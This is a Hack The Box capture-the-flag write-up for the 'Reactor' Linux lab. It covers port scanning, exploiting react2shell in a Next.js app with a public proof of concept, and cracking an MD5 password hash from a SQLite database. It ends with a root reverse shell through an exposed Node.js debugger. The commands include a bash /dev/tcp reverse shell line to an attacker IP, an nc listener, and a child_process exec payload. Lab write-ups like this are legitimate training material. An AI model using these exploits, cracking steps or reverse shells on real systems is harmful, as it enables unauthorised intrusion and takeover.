Hack The Box / LINUX / 2026-10-03
Hack The Box — Reactor (Linux)
The react2shell vulnerability allows us to get a shell on the system. We find a SQLite database and we crack the password of the engineer user. Then, we abuse the Node.js debugger to get a reverse shell as root.
Target
- IP:
10.129.3.218
Port scan
sudo nmap -sC -sV 10.129.3.218 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Sun, 24 May 2026 10:51:08 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Sun, 24 May 2026 10:51:08 GMT
| Connection: close
| Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
| Connection: close
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Sun, 24 May 2026 10:51:09 GMT
|_ Connection: close
Web enumeration
Go to http://10.129.3.218:3000/. We see a dashboard with monitoring information about a reactor system.
Looking at the headers of the HTTP response, we see:
vary RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
x-nextjs-cache HIT
x-nextjs-prerender 1
x-nextjs-stale-time 4294967294
x-powered-by Next.js
So the website is built using Next.js. Searching on internet, we see that a severe vulnerability exists in Next.js when it uses React Server Components (which is our case), which is called react2shell.
Exploiting React2Shell
Here there is a scanner (https://github.com/assetnote/react2shell-scanner). Run it:
python3 react2shell-scanner/scanner.py -u http://10.129.4.203:3000
And we get:
[VULNERABLE] http://10.129.4.203:3000 - Status: 303
============================================================
SCAN SUMMARY
============================================================
Total hosts scanned: 1
Vulnerable: 1
Not vulnerable: 0
Errors: 0
============================================================
There is also a POC exploit for this vulnerability: https://github.com/xalgord/React2Shell. Clone the repo and run it:
python3 React2Shell/react2shell.py -u http://10.129.4.203:3000/
We get a shell
ubuntu@target:/opt/reactor-app$ ls
app
next.config.js
node_modules
package.json
package-lock.json
reactor.db
According to the instructions in the repo README, we can download a file with the command .download
.download reactor.db
Let's inspect the file:
file downloaded/reactor.db
downloaded/reactor.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 7, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 7
Cracking the password of engineer user
So it's a SQLite database. We can open it with sqlite3:
sqlite3 downloaded/reactor.db
.tables
sensor_logs users
select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
Put these lines:
admin:a203b22191d744a4e70ada5c101b17b8
engineer:39d97110eafe2a9a68639812cd271e8e
In a file hash and run hashcat on it:
hashcat -a 0 -m 0 ./hash ./rockyou.txt --username
hashcat -a 0 -m 0 ./hash ./rockyou.txt --username --show
We get:
engineer:39d97110eafe2a9a68639812cd271e8e:reactor1
So we have the credentials of the engineer user: engineer:reactor1. We can use them to log in via SSH on port 22.
ssh engineer@10.129.4.203
We get a shell.
id
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
The engineer user belongs to the lxd group. According to this hacktricks page (https://hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.html), we can abuse this group to become root.
We can follow the guide on the website. However, when I run the command lxc image import lxd.tar.xz rootfs.squashfs --alias alpine on the target machine, it gets stuck on Installing LXD snap, please be patient..
So I looked for another route.
Let's see the open local ports:
ss -ltpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 [::]:22 [::]:*
LISTEN 0 511 *:3000 *:*
We see the port 9229 is open. This is the default port for the Node.js debugger.
Abusing the Node.js debugger - Reverse shell as root
Useful page: https://hacktricks.wiki/en/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.html
To connect to the debugger, let's first forward the port to our local machine:
ssh engineer@10.129.4.203 -NL 9229:localhost:9229
Then open chrome and type chrome://inspect in the address bar. We should see the target port 9229 there. Click on "inspect" and we get a DevTools window.
Now, on the target machine, create a reverse shell script:
echo 'bash -i >& /dev/tcp/10.10.16.116/4444 0>&1' > /dev/shm/rev
Start a listener on our attacking machine:
nc -vlnp 4444
On the Chrome developer tools, go to the "Console" tab and run:
process.mainModule.require('child_process').exec('bash /dev/shm/rev');
We get a reverse shell as root.